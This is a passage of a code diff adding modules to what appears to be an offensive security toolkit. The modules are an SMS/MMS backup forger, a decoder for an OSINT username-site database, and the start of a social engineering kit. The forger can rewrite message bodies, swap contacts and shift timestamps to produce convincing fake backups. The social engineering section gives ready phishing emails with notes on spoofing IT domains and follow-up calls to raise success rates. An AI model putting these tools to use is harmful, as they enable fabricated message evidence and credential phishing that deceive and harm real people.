with open(str(out), 'w', encoding='utf-8', newline='') as f: + writer = csv.writer(f) + writer.writerow(['address', 'body', 'type', 'timestamp', + 'contact_name', 'readable_date', 'msg_kind']) + for msg in self._messages: + body = msg.get('body', '') + if msg.get('msg_kind') == 'mms' and not body: + for part in msg.get('parts', []): + if part.get('ct') == 'text/plain' and part.get('text', 'null') != 'null': + body = part['text'] + break + msg_type = msg.get('type', msg.get('msg_box', 1)) + writer.writerow([ + msg.get('address', ''), + body, + msg_type, + msg.get('date', 0), + msg.get('contact_name', ''), + msg.get('readable_date', ''), + msg.get('msg_kind', 'sms'), + ]) + return { + 'ok': True, + 'path': str(out), + 'count': len(self._messages), + 'size': out.stat().st_size, + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def import_csv(self, path: str) -> Dict[str, Any]: + """Import messages from CSV (same format as export_csv).""" + return self.bulk_add(path) + + def validate_backup(self, path: str) -> Dict[str, Any]: + """Validate XML structure matches SMS Backup & Restore format.""" + p = Path(path) + if not p.exists(): + return {'ok': False, 'valid': False, 'error': 'File not found'} + + issues: List[str] = [] + try: + tree = ET.parse(str(p)) + root = tree.getroot() + + if root.tag != 'smses': + issues.append(f'Root element is <{root.tag}>, expected ') + + if not root.get('count'): + issues.append('Missing count attribute on ') + else: + declared = int(root.get('count', '0')) + actual = len(list(root)) + if declared != actual: + issues.append(f'Count mismatch: declared {declared}, actual {actual}') + + if not root.get('backup_set'): + issues.append('Missing backup_set attribute') + if not root.get('backup_date'): + issues.append('Missing backup_date attribute') + + sms_req = ['address', 'date', 'type', 'body'] + mms_req = ['date', 'msg_box', 'address'] + + for i, elem in enumerate(root): + if elem.tag == 'sms': + for attr in sms_req: + if elem.get(attr) is None: + issues.append(f'SMS #{i}: missing required attribute "{attr}"') + elif elem.tag == 'mms': + for attr in mms_req: + if elem.get(attr) is None: + issues.append(f'MMS #{i}: missing required attribute "{attr}"') + parts = elem.find('parts') + if parts is None: + issues.append(f'MMS #{i}: missing element') + addrs = elem.find('addrs') + if addrs is None: + issues.append(f'MMS #{i}: missing element') + else: + issues.append(f'Element #{i}: unexpected tag <{elem.tag}>') + + return { + 'ok': True, + 'valid': len(issues) == 0, + 'issues': issues, + 'element_count': len(list(root)), + } + + except ET.ParseError as e: + return {'ok': False, 'valid': False, 'error': f'XML parse error: {e}'} + except Exception as e: + return {'ok': False, 'valid': False, 'error': str(e)} + + # ── XML Builder ───────────────────────────────────────────────────────── + + def _build_xml(self) -> str: + """Build the full XML string in SMS Backup & Restore format.""" + lines = [] + lines.append("") + lines.append('') + + count = len(self._messages) + backup_date = str(self._backup_date) + lines.append( + f'' + ) + + for msg in self._messages: + if msg.get('msg_kind') == 'mms': + lines.append(self._build_mms_element(msg)) + else: + lines.append(self._build_sms_element(msg)) + + lines.append('') + return '\n'.join(lines) + + def _build_sms_element(self, msg: Dict[str, Any]) -> str: + """Build a single XML element.""" + attrs = { + 'protocol': str(msg.get('protocol', '0')), + 'address': str(msg.get('address', '')), + 'date': str(msg.get('date', 0)), + 'type': str(msg.get('type', 1)), + 'subject': str(msg.get('subject', 'null')), + 'body': str(msg.get('body', '')), + 'toa': str(msg.get('toa', 'null')), + 'sc_toa': str(msg.get('sc_toa', 'null')), + 'service_center': str(msg.get('service_center', 'null')), + 'read': str(msg.get('read', 1)), + 'status': str(msg.get('status', -1)), + 'locked': str(msg.get('locked', 0)), + 'sub_id': str(msg.get('sub_id', '-1')), + 'readable_date': str(msg.get('readable_date', '')), + 'contact_name': str(msg.get('contact_name', '(Unknown)')), + } + attr_str = ' '.join(f'{k}="{self._escape_xml(v)}"' for k, v in attrs.items()) + return f' ' + + def _build_mms_element(self, msg: Dict[str, Any]) -> str: + """Build a single ... XML element.""" + mms_attrs = { + 'date': str(msg.get('date', 0)), + 'ct_t': str(msg.get('ct_t', 'application/vnd.wap.multipart.related')), + 'msg_box': str(msg.get('msg_box', 1)), + 'address': str(msg.get('address', '')), + 'sub': str(msg.get('sub', 'null')), + 'retr_st': str(msg.get('retr_st', 'null')), + 'd_tm': str(msg.get('d_tm', 'null')), + 'exp': str(msg.get('exp', 'null')), + 'locked': str(msg.get('locked', 0)), + 'm_id': str(msg.get('m_id', 'null')), + 'st': str(msg.get('st', 'null')), + 'retr_txt_cs': str(msg.get('retr_txt_cs', 'null')), + 'retr_txt': str(msg.get('retr_txt', 'null')), + 'creator': str(msg.get('creator', 'null')), + 'date_sent': str(msg.get('date_sent', '0')), + 'seen': str(msg.get('seen', 1)), + 'm_size': str(msg.get('m_size', 'null')), + 'rr': str(msg.get('rr', '129')), + 'sub_cs': str(msg.get('sub_cs', 'null')), + 'resp_st': str(msg.get('resp_st', 'null')), + 'ct_cls': str(msg.get('ct_cls', 'null')), + 'm_cls': str(msg.get('m_cls', 'personal')), + 'd_rpt': str(msg.get('d_rpt', '129')), + 'v': str(msg.get('v', '18')), + '_id': str(msg.get('_id', '1')), + 'tr_id': str(msg.get('tr_id', 'null')), + 'resp_txt': str(msg.get('resp_txt', 'null')), + 'ct_l': str(msg.get('ct_l', 'null')), + 'm_type': str(msg.get('m_type', '132')), + 'readable_date': str(msg.get('readable_date', '')), + 'contact_name': str(msg.get('contact_name', '(Unknown)')), + 'pri': str(msg.get('pri', '129')), + 'sub_id': str(msg.get('sub_id', '-1')), + 'text_only': str(msg.get('text_only', '0')), + } + attr_str = ' '.join(f'{k}="{self._escape_xml(v)}"' for k, v in mms_attrs.items()) + + lines = [f' '] + + # Parts + lines.append(' ') + for part in msg.get('parts', []): + part_attrs = { + 'seq': str(part.get('seq', '0')), + 'ct': str(part.get('ct', 'text/plain')), + 'name': str(part.get('name', 'null')), + 'chset': str(part.get('chset', 'null')), + 'cd': str(part.get('cd', 'null')), + 'fn': str(part.get('fn', 'null')), + 'cid': str(part.get('cid', 'null')), + 'cl': str(part.get('cl', 'null')), + 'ctt_s': str(part.get('ctt_s', 'null')), + 'ctt_t': str(part.get('ctt_t', 'null')), + 'text': str(part.get('text', 'null')), + 'data': str(part.get('data', 'null')), + } + pa_str = ' '.join(f'{k}="{self._escape_xml(v)}"' for k, v in part_attrs.items()) + lines.append(f' ') + lines.append(' ') + + # Addrs + lines.append(' ') + for addr in msg.get('addrs', []): + addr_attrs = { + 'address': str(addr.get('address', '')), + 'type': str(addr.get('type', '137')), + 'charset': str(addr.get('charset', '106')), + } + aa_str = ' '.join(f'{k}="{self._escape_xml(v)}"' for k, v in addr_attrs.items()) + lines.append(f' ') + lines.append(' ') + + lines.append(' ') + return '\n'.join(lines) + + # ── Utility ───────────────────────────────────────────────────────────── + + @staticmethod + def _generate_uuid() -> str: + """Generate a backup_set UUID.""" + return str(uuid.uuid4()) + + @staticmethod + def _timestamp_to_readable(ms_timestamp: int) -> str: + """Convert epoch milliseconds to readable date string (SMS Backup & Restore format).""" + try: + dt = datetime.fromtimestamp(ms_timestamp / 1000.0) + # Format: "Mar 1, 2023 12:45:21 PM" + if os.name == 'nt': + return dt.strftime('%b %#d, %Y %#I:%M:%S %p') + return dt.strftime('%b %-d, %Y %-I:%M:%S %p') + except (ValueError, OSError, OverflowError): + return '' + + @staticmethod + def _readable_to_timestamp(readable: str) -> Optional[int]: + """Convert readable date string to epoch milliseconds.""" + formats = [ + '%b %d, %Y %I:%M:%S %p', + '%b %d, %Y %H:%M:%S', + '%Y-%m-%d %H:%M:%S', + '%Y-%m-%dT%H:%M:%S', + '%m/%d/%Y %I:%M:%S %p', + '%m/%d/%Y %H:%M:%S', + ] + for fmt in formats: + try: + dt = datetime.strptime(readable.strip(), fmt) + return int(dt.timestamp() * 1000) + except ValueError: + continue + return None + + @staticmethod + def _escape_xml(text: str) -> str: + """Proper XML attribute escaping.""" + return html.escape(str(text), quote=True) + + @staticmethod + def _encode_attachment(file_path: str) -> str: + """Base64 encode a file for MMS attachment data.""" + with open(file_path, 'rb') as f: + return base64.b64encode(f.read()).decode('ascii') + + def get_messages(self) -> List[Dict[str, Any]]: + """Return a copy of all messages with indices.""" + result = [] + for i, msg in enumerate(self._messages): + m = dict(msg) + m['index'] = i + result.append(m) + return result + + def clear_messages(self): + """Clear all messages from the working set.""" + self._messages = [] + self._backup_set = self._generate_uuid() + self._backup_date = int(time.time() * 1000) + + def get_status(self) -> Dict[str, Any]: + """Module status information.""" + return { + 'ok': True, + 'module': 'sms_forge', + 'version': VERSION, + 'description': DESCRIPTION, + 'message_count': len(self._messages), + 'backup_set': self._backup_set, + 'data_dir': str(self._data_dir), + 'custom_templates': len(self._custom_templates), + } + + def run(self): + """CLI interactive menu for the SMS Forge module.""" + while True: + print("\n" + "=" * 60) + print(" SMS/MMS Backup Forge") + print("=" * 60) + print(f" Messages loaded: {len(self._messages)}") + print() + print(" 1. Create new backup") + print(" 2. Load existing backup") + print(" 3. Add SMS message") + print(" 4. Add MMS message") + print(" 5. Add conversation") + print(" 6. Generate from template") + print(" 7. Find messages") + print(" 8. Modify message") + print(" 9. Delete messages") + print(" 10. Replace contact") + print(" 11. Shift timestamps") + print(" 12. Export XML") + print(" 13. Export CSV") + print(" 14. Import CSV (bulk)") + print(" 15. Merge backups") + print(" 16. Validate backup") + print(" 17. View stats") + print(" 18. List templates") + print(" 0. Exit") + print() + + try: + choice = input(" Select: ").strip() + except (EOFError, KeyboardInterrupt): + break + + if choice == '0': + break + elif choice == '1': + self._cli_create_backup() + elif choice == '2': + self._cli_load_backup() + elif choice == '3': + self._cli_add_sms() + elif choice == '4': + self._cli_add_mms() + elif choice == '5': + self._cli_add_conversation() + elif choice == '6': + self._cli_generate_template() + elif choice == '7': + self._cli_find_messages() + elif choice == '8': + self._cli_modify_message() + elif choice == '9': + self._cli_delete_messages() + elif choice == '10': + self._cli_replace_contact() + elif choice == '11': + self._cli_shift_timestamps() + elif choice == '12': + self._cli_export_xml() + elif choice == '13': + self._cli_export_csv() + elif choice == '14': + self._cli_import_csv() + elif choice == '15': + self._cli_merge_backups() + elif choice == '16': + self._cli_validate() + elif choice == '17': + self._cli_stats() + elif choice == '18': + self._cli_list_templates() + else: + print(" Invalid selection.") + + # ── CLI Helpers ───────────────────────────────────────────────────────── + + def _cli_input(self, prompt: str, default: str = '') -> str: + """Read input with optional default.""" + suffix = f' [{default}]' if default else '' + try: + val = input(f' {prompt}{suffix}: ').strip() + return val if val else default + except (EOFError, KeyboardInterrupt): + return default + + def _cli_create_backup(self): + path = self._cli_input('Output path', str(self._data_dir / 'backup.xml')) + result = self.save_backup(path) + if result.get('ok'): + print(f" Backup created: {result['path']} ({result['count']} messages)") + else: + print(f" Error: {result.get('error')}") + + def _cli_load_backup(self): + path = self._cli_input('XML file path') + if not path: + print(" No path provided.") + return + result = self.load_backup(path) + if result.get('ok'): + print(f" Loaded {result['count']} messages") + else: + print(f" Error: {result.get('error')}") + + def _cli_add_sms(self): + address = self._cli_input('Phone number (e.g. +15551234567)') + body = self._cli_input('Message body') + type_str = self._cli_input('Type (1=received, 2=sent)', '1') + contact = self._cli_input('Contact name', '(Unknown)') + result = self.add_sms(address, body, int(type_str), contact_name=contact) + print(f" Added SMS at index {result['index']}") + + def _cli_add_mms(self): + address = self._cli_input('Phone number') + body = self._cli_input('Text body') + box_str = self._cli_input('Msg box (1=received, 2=sent)', '1') + contact = self._cli_input('Contact name', '(Unknown)') + att_path = self._cli_input('Attachment file path (blank for none)') + attachments = [] + if att_path and os.path.isfile(att_path): + ct = self._cli_input('Content type', 'image/jpeg') + attachments.append({ + 'path': att_path, + 'content_type': ct, + 'filename': os.path.basename(att_path), + }) + result = self.add_mms(address, body, attachments, int(box_str), contact_name=contact) + print(f" Added MMS at index {result['index']}") + + def _cli_add_conversation(self): + address = self._cli_input('Phone number') + contact = self._cli_input('Contact name', '(Unknown)') + print(" Enter messages (empty body to finish):") + messages = [] + while True: + body = self._cli_input(f' Message {len(messages) + 1} body') + if not body: + break + type_str = self._cli_input(' Type (1=received, 2=sent)', '1') + delay_str = self._cli_input(' Delay (minutes from previous)', '5') + messages.append({ + 'body': body, + 'type': int(type_str), + 'delay_minutes': int(delay_str), + }) + if messages: + result = self.add_conversation(address, contact, messages) + print(f" Added {result['added']} messages") + else: + print(" No messages to add.") + + def _cli_generate_template(self): + templates = self.get_templates() + print(" Available templates:") + for key, tmpl in templates.items(): + print(f" {key}: {tmpl['name']} -- {tmpl['description']}") + name = self._cli_input('Template name') + if name not in templates: + print(" Template not found.") + return + address = self._cli_input('Phone number') + contact = self._cli_input('Contact name') + variables = {} + tmpl = templates[name] + for var in tmpl.get('variables', []): + val = self._cli_input(f' {var}') + variables[var] = val + result = self.generate_conversation(address, contact, name, variables) + if result.get('ok'): + print(f" Generated {result.get('added', 0)} messages") + else: + print(f" Error: {result.get('error')}") + + def _cli_find_messages(self): + address = self._cli_input('Filter by address (blank for all)') + keyword = self._cli_input('Filter by keyword (blank for all)') + results = self.find_messages( + address=address if address else None, + keyword=keyword if keyword else None, + ) + print(f" Found {len(results)} messages:") + for msg in results[:20]: + direction = 'IN' if msg.get('type', msg.get('msg_box', 1)) == 1 else 'OUT' + body = msg.get('body', '')[:60] + print(f" [{msg['index']}] {direction} {msg.get('address', '')}: {body}") + if len(results) > 20: + print(f" ... and {len(results) - 20} more") + + def _cli_modify_message(self): + idx_str = self._cli_input('Message index') + if not idx_str: + return + new_body = self._cli_input('New body (blank to skip)') + new_contact = self._cli_input('New contact name (blank to skip)') + result = self.modify_message( + int(idx_str), + new_body=new_body if new_body else None, + new_contact=new_contact if new_contact else None, + ) + if result.get('ok'): + print(" Message modified.") + else: + print(f" Error: {result.get('error')}") + + def _cli_delete_messages(self): + idx_str = self._cli_input('Message indices (comma-separated)') + if not idx_str: + return + indices = [int(x.strip()) for x in idx_str.split(',') if x.strip().isdigit()] + result = self.delete_messages(indices) + print(f" Deleted {result['deleted']} messages, {result['remaining']} remaining.") + + def _cli_replace_contact(self): + old = self._cli_input('Old address') + new = self._cli_input('New address') + name = self._cli_input('New contact name (blank to keep)') + result = self.replace_contact(old, new, name if name else None) + print(f" Updated {result['updated']} messages.") + + def _cli_shift_timestamps(self): + address = self._cli_input('Address (blank for all)') + offset = self._cli_input('Offset in minutes (negative to go back)') + result = self.shift_timestamps( + address if address else None, + int(offset), + ) + print(f" Shifted {result['shifted']} messages by {result['offset_minutes']} minutes.") + + def _cli_export_xml(self): + path = self._cli_input('Output path', str(self._data_dir / 'export.xml')) + result = self.export_xml(path) + if result.get('ok'): + print(f" Exported to {result['path']} ({result['count']} messages, {result['size']} bytes)") + else: + print(f" Error: {result.get('error')}") + + def _cli_export_csv(self): + path = self._cli_input('Output path', str(self._data_dir / 'export.csv')) + result = self.export_csv(path) + if result.get('ok'): + print(f" Exported to {result['path']} ({result['count']} messages)") + else: + print(f" Error: {result.get('error')}") + + def _cli_import_csv(self): + path = self._cli_input('CSV file path') + if not path: + return + result = self.bulk_add(path) + if result.get('ok'): + print(f" Imported {result['added']} messages") + if result.get('errors'): + for err in result['errors'][:5]: + print(f" Warning: {err}") + else: + print(f" Error: {result.get('error')}") + + def _cli_merge_backups(self): + paths_str = self._cli_input('Backup file paths (comma-separated)') + if not paths_str: + return + paths = [p.strip() for p in paths_str.split(',') if p.strip()] + result = self.merge_backups(paths) + if result.get('ok'): + print(f" Merged: {result['total']} total messages ({result['added']} new)") + if result.get('errors'): + for err in result['errors']: + print(f" Error: {err}") + + def _cli_validate(self): + path = self._cli_input('XML file path') + if not path: + return + result = self.validate_backup(path) + if result.get('valid'): + print(f" Valid backup ({result['element_count']} elements)") + else: + print(" Invalid backup:") + for issue in result.get('issues', []): + print(f" - {issue}") + if result.get('error'): + print(f" Error: {result['error']}") + + def _cli_stats(self): + stats = self.get_backup_stats() + print(f" Total messages: {stats['total']}") + print(f" SMS: {stats['sms_count']}, MMS: {stats['mms_count']}") + print(f" Sent: {stats['sent']}, Received: {stats['received']}") + print(f" Contacts: {len(stats['contacts'])}") + if stats.get('date_range'): + dr = stats['date_range'] + print(f" Date range: {dr['earliest_readable']} -- {dr['latest_readable']}") + for c in stats.get('contacts', [])[:10]: + print(f" {c['address']} ({c['name']}): {c['count']} messages") + + def _cli_list_templates(self): + templates = self.get_templates() + for key, tmpl in templates.items(): + tag = '[builtin]' if tmpl.get('builtin') else '[custom]' + print(f" {key} {tag}: {tmpl['name']}") + print(f" {tmpl['description']}") + print(f" Messages: {tmpl['message_count']}, Variables: {', '.join(tmpl.get('variables', []))}") + print() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/snoop_decoder.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/snoop_decoder.py new file mode 100644 index 0000000..0ece6e2 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/snoop_decoder.py @@ -0,0 +1,400 @@ +""" +AUTARCH Snoop Database Decoder Module +Decrypts and imports Snoop Project databases into AUTARCH +""" + +import base64 +import json +import os +import sys +from pathlib import Path + +# Add parent directory to path for imports +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.banner import Colors +from core.sites_db import SitesDatabase + +# Module metadata +NAME = "Snoop Decoder" +DESCRIPTION = "Decrypt and import Snoop Project databases" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "osint" + + +class SnoopDecoder: + """Decoder for Snoop Project encoded databases.""" + + def __init__(self): + self.sites_db = SitesDatabase() + from core.paths import get_data_dir + self.data_dir = get_data_dir() / "sites" + self.data_dir.mkdir(parents=True, exist_ok=True) + + def decode_database(self, filepath: str) -> dict: + """Decode a Snoop database file. + + Args: + filepath: Path to the encoded database file (BDdemo, BDfull, etc.) + + Returns: + Decoded dictionary of sites. + """ + print(f"{Colors.CYAN}[*] Reading encoded database...{Colors.RESET}") + + with open(filepath, 'r', encoding='utf8') as f: + db = f.read().strip() + + original_size = len(db) + print(f"{Colors.DIM} Original size: {original_size:,} chars{Colors.RESET}") + + # Step 1: Decode base32 + print(f"{Colors.CYAN}[*] Decoding base32...{Colors.RESET}") + try: + db_bytes = base64.b32decode(db) + except Exception as e: + print(f"{Colors.RED}[X] Base32 decode failed: {e}{Colors.RESET}") + return None + + print(f"{Colors.DIM} After base32: {len(db_bytes):,} bytes{Colors.RESET}") + + # Step 2: Reverse bytes + print(f"{Colors.CYAN}[*] Reversing byte order...{Colors.RESET}") + db_bytes = db_bytes[::-1] + + # Step 3: Decode UTF-8 with error handling + print(f"{Colors.CYAN}[*] Decoding UTF-8...{Colors.RESET}") + content = db_bytes.decode('utf-8', errors='replace') + + # Step 4: Reverse string + print(f"{Colors.CYAN}[*] Reversing string...{Colors.RESET}") + content = content[::-1] + + # Step 5: Parse JSON + print(f"{Colors.CYAN}[*] Parsing JSON...{Colors.RESET}") + try: + data = json.loads(content) + except json.JSONDecodeError as e: + print(f"{Colors.RED}[X] JSON parse failed: {e}{Colors.RESET}") + return None + + print(f"{Colors.GREEN}[+] Successfully decoded {len(data):,} sites!{Colors.RESET}") + return data + + def save_decoded(self, data: dict, output_name: str = "snoop_decoded.json") -> str: + """Save decoded database to JSON file. + + Args: + data: Decoded site dictionary. + output_name: Output filename. + + Returns: + Path to saved file. + """ + output_path = self.data_dir / output_name + + with open(output_path, 'w', encoding='utf8') as f: + json.dump(data, f, indent=2, ensure_ascii=False) + + size_mb = output_path.stat().st_size / 1024 / 1024 + print(f"{Colors.GREEN}[+] Saved to: {output_path}{Colors.RESET}") + print(f"{Colors.DIM} File size: {size_mb:.2f} MB{Colors.RESET}") + + return str(output_path) + + def import_to_database(self, data: dict) -> dict: + """Import decoded Snoop data into AUTARCH sites database. + + Args: + data: Decoded site dictionary. + + Returns: + Import statistics. + """ + print(f"\n{Colors.CYAN}[*] Importing to AUTARCH database...{Colors.RESET}") + + sites_to_add = [] + skipped = 0 + + for name, entry in data.items(): + if not isinstance(entry, dict): + skipped += 1 + continue + + url = entry.get('url', '') + if not url or '{}' not in url: + skipped += 1 + continue + + # Get error type - handle encoding issues in key name + error_type = None + for key in entry.keys(): + if 'errorTyp' in key or 'errortype' in key.lower(): + error_type = entry[key] + break + + # Map Snoop error types to detection methods + detection_method = 'status' + if error_type: + if 'message' in str(error_type).lower(): + detection_method = 'content' + elif 'redirect' in str(error_type).lower(): + detection_method = 'redirect' + + # Get error message pattern + error_pattern = None + for key in ['errorMsg', 'errorMsg2']: + if key in entry and entry[key]: + error_pattern = str(entry[key]) + break + + sites_to_add.append({ + 'name': name, + 'url_template': url, + 'url_main': entry.get('urlMain'), + 'detection_method': detection_method, + 'error_pattern': error_pattern, + 'category': 'other', + 'nsfw': 0, + }) + + print(f"{Colors.DIM} Valid sites: {len(sites_to_add):,}{Colors.RESET}") + print(f"{Colors.DIM} Skipped: {skipped:,}{Colors.RESET}") + + # Add to database + stats = self.sites_db.add_sites_bulk(sites_to_add) + + print(f"{Colors.GREEN}[+] Import complete!{Colors.RESET}") + print(f"{Colors.DIM} Added: {stats['added']:,}{Colors.RESET}") + print(f"{Colors.DIM} Errors: {stats['errors']:,}{Colors.RESET}") + + return stats + + def show_sample(self, data: dict, count: int = 10): + """Display sample sites from decoded database. + + Args: + data: Decoded site dictionary. + count: Number of samples to show. + """ + print(f"\n{Colors.CYAN}Sample Sites ({count}):{Colors.RESET}") + print("-" * 60) + + for i, (name, info) in enumerate(list(data.items())[:count]): + url = info.get('url', 'N/A') + country = info.get('country', '') + print(f" {country} {Colors.GREEN}{name}{Colors.RESET}") + print(f" {Colors.DIM}{url[:55]}...{Colors.RESET}" if len(url) > 55 else f" {Colors.DIM}{url}{Colors.RESET}") + + def get_stats(self, data: dict) -> dict: + """Get statistics about decoded database. + + Args: + data: Decoded site dictionary. + + Returns: + Statistics dictionary. + """ + stats = { + 'total_sites': len(data), + 'by_country': {}, + 'detection_methods': {'status_code': 0, 'message': 0, 'redirection': 0, 'other': 0}, + } + + for name, info in data.items(): + # Country stats + country = info.get('country_klas', 'Unknown') + stats['by_country'][country] = stats['by_country'].get(country, 0) + 1 + + # Detection method stats + error_type = None + for key in info.keys(): + if 'errorTyp' in key: + error_type = str(info[key]).lower() + break + + if error_type: + if 'status' in error_type: + stats['detection_methods']['status_code'] += 1 + elif 'message' in error_type: + stats['detection_methods']['message'] += 1 + elif 'redirect' in error_type: + stats['detection_methods']['redirection'] += 1 + else: + stats['detection_methods']['other'] += 1 + else: + stats['detection_methods']['other'] += 1 + + return stats + + +def display_menu(): + """Display the Snoop Decoder menu.""" + print(f""" +{Colors.CYAN} Snoop Database Decoder{Colors.RESET} +{Colors.DIM} Decrypt and import Snoop Project databases{Colors.RESET} +{Colors.DIM}{'─' * 50}{Colors.RESET} + + {Colors.GREEN}[1]{Colors.RESET} Decode Snoop Database File + {Colors.GREEN}[2]{Colors.RESET} Decode & Import to AUTARCH + {Colors.GREEN}[3]{Colors.RESET} View Current Sites Database Stats + + {Colors.GREEN}[4]{Colors.RESET} Quick Import (BDfull from snoop-master) + {Colors.GREEN}[5]{Colors.RESET} Quick Import (BDdemo from snoop-master) + + {Colors.RED}[0]{Colors.RESET} Back to OSINT Menu +""") + + +def get_file_path() -> str: + """Prompt user for file path.""" + print(f"\n{Colors.CYAN}Enter path to Snoop database file:{Colors.RESET}") + print(f"{Colors.DIM}(e.g., /path/to/BDfull or /path/to/BDdemo){Colors.RESET}") + + filepath = input(f"\n{Colors.GREEN}Path: {Colors.RESET}").strip() + + if not filepath: + return None + + if not os.path.exists(filepath): + print(f"{Colors.RED}[X] File not found: {filepath}{Colors.RESET}") + return None + + return filepath + + +def run(): + """Main entry point for the module.""" + decoder = SnoopDecoder() + + # Common paths for Snoop databases + from core.paths import get_app_dir, get_data_dir + _app = get_app_dir() + _data = get_data_dir() + snoop_paths = { + 'bdfull': _app / "snoop" / "snoop-master" / "BDfull", + 'bddemo': _app / "snoop" / "snoop-master" / "BDdemo", + 'bdfull_alt': _data / "snoop" / "BDfull", + 'bddemo_alt': _data / "snoop" / "BDdemo", + } + + while True: + display_menu() + + choice = input(f"{Colors.GREEN}Select option: {Colors.RESET}").strip() + + if choice == '0': + break + + elif choice == '1': + # Decode only + filepath = get_file_path() + if not filepath: + continue + + data = decoder.decode_database(filepath) + if data: + decoder.show_sample(data) + + stats = decoder.get_stats(data) + print(f"\n{Colors.CYAN}Database Statistics:{Colors.RESET}") + print(f" Total sites: {stats['total_sites']:,}") + print(f" Detection methods: {stats['detection_methods']}") + print(f" Top countries: {dict(sorted(stats['by_country'].items(), key=lambda x: -x[1])[:10])}") + + # Ask to save + save = input(f"\n{Colors.YELLOW}Save decoded JSON? (y/n): {Colors.RESET}").strip().lower() + if save == 'y': + name = input(f"{Colors.GREEN}Output filename [snoop_decoded.json]: {Colors.RESET}").strip() + decoder.save_decoded(data, name if name else "snoop_decoded.json") + + elif choice == '2': + # Decode and import + filepath = get_file_path() + if not filepath: + continue + + data = decoder.decode_database(filepath) + if data: + decoder.show_sample(data, 5) + + confirm = input(f"\n{Colors.YELLOW}Import {len(data):,} sites to AUTARCH? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + # Save first + decoder.save_decoded(data, "snoop_imported.json") + # Then import + decoder.import_to_database(data) + + # Show final stats + db_stats = decoder.sites_db.get_stats() + print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}") + + elif choice == '3': + # View current stats + stats = decoder.sites_db.get_stats() + print(f"\n{Colors.CYAN}AUTARCH Sites Database:{Colors.RESET}") + print(f" Total sites: {stats['total_sites']:,}") + print(f" NSFW sites: {stats['nsfw_sites']:,}") + print(f" Database size: {stats['db_size_mb']:.2f} MB") + print(f"\n {Colors.CYAN}By Source:{Colors.RESET}") + for source, count in sorted(stats['by_source'].items(), key=lambda x: -x[1]): + print(f" {source}: {count:,}") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '4': + # Quick import BDfull + bdpath = None + for key in ['bdfull', 'bdfull_alt']: + if snoop_paths[key].exists(): + bdpath = str(snoop_paths[key]) + break + + if not bdpath: + print(f"{Colors.RED}[X] BDfull not found in known locations{Colors.RESET}") + print(f"{Colors.DIM} Checked: {snoop_paths['bdfull']}{Colors.RESET}") + print(f"{Colors.DIM} Checked: {snoop_paths['bdfull_alt']}{Colors.RESET}") + continue + + print(f"{Colors.GREEN}[+] Found BDfull: {bdpath}{Colors.RESET}") + + data = decoder.decode_database(bdpath) + if data: + confirm = input(f"\n{Colors.YELLOW}Import {len(data):,} sites? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + decoder.save_decoded(data, "snoop_full.json") + decoder.import_to_database(data) + + db_stats = decoder.sites_db.get_stats() + print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}") + + elif choice == '5': + # Quick import BDdemo + bdpath = None + for key in ['bddemo', 'bddemo_alt']: + if snoop_paths[key].exists(): + bdpath = str(snoop_paths[key]) + break + + if not bdpath: + print(f"{Colors.RED}[X] BDdemo not found in known locations{Colors.RESET}") + continue + + print(f"{Colors.GREEN}[+] Found BDdemo: {bdpath}{Colors.RESET}") + + data = decoder.decode_database(bdpath) + if data: + confirm = input(f"\n{Colors.YELLOW}Import {len(data):,} sites? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + decoder.save_decoded(data, "snoop_demo.json") + decoder.import_to_database(data) + + db_stats = decoder.sites_db.get_stats() + print(f"\n{Colors.GREEN}AUTARCH Database now has {db_stats['total_sites']:,} sites!{Colors.RESET}") + + else: + print(f"{Colors.RED}[!] Invalid option{Colors.RESET}") + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/social_eng.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/social_eng.py new file mode 100644 index 0000000..1f62083 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/social_eng.py @@ -0,0 +1,1305 @@ +"""AUTARCH Social Engineering Toolkit + +Credential harvesting page cloner, pretexting templates, QR code phishing, +USB drop payloads, vishing scripts, and campaign tracking. +""" + +DESCRIPTION = "Social engineering — phishing, pretexts, QR codes" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import uuid +import base64 +import struct +import hashlib +import threading +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any +from urllib.parse import urljoin, urlparse + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + import requests + REQUESTS_AVAILABLE = True +except ImportError: + requests = None + REQUESTS_AVAILABLE = False + +try: + import qrcode + import io as _io + QRCODE_AVAILABLE = True +except ImportError: + qrcode = None + QRCODE_AVAILABLE = False + + +# ── Pretext Templates ──────────────────────────────────────────────────────── + +PRETEXT_TEMPLATES = { + 'it_support': [ + { + 'name': 'Password Reset', + 'subject': 'Immediate Action Required: Password Reset', + 'body': ( + 'Dear {target_name},\n\n' + 'Our security team has detected unusual activity on your account. ' + 'As a precautionary measure, we require all employees to reset their ' + 'passwords within the next 24 hours.\n\n' + 'Please click the link below to verify your identity and set a new password:\n' + '{link}\n\n' + 'If you did not request this change, please contact the IT Help Desk immediately ' + 'at ext. 4357.\n\n' + 'Best regards,\n' + 'IT Security Team' + ), + 'pretext_notes': 'Urgency + authority. Works best when sent from a spoofed IT domain. ' + 'Follow up with a phone call referencing the email for higher success rates.', + }, + { + 'name': 'Security Update Required', + 'subject': 'Critical Security Patch — Action Required by EOD', + 'body': ( + 'Hi {target_name},\n\n' + 'A critical security vulnerability has been identified that affects your workstation. ' + 'IT has prepared an automated patch that must be installed today.\n\n' + 'Please run the update tool at the link below:\n' + '{link}\n\n' + 'Note: You may need to enter your network credentials to authenticate the update.\n\n' + 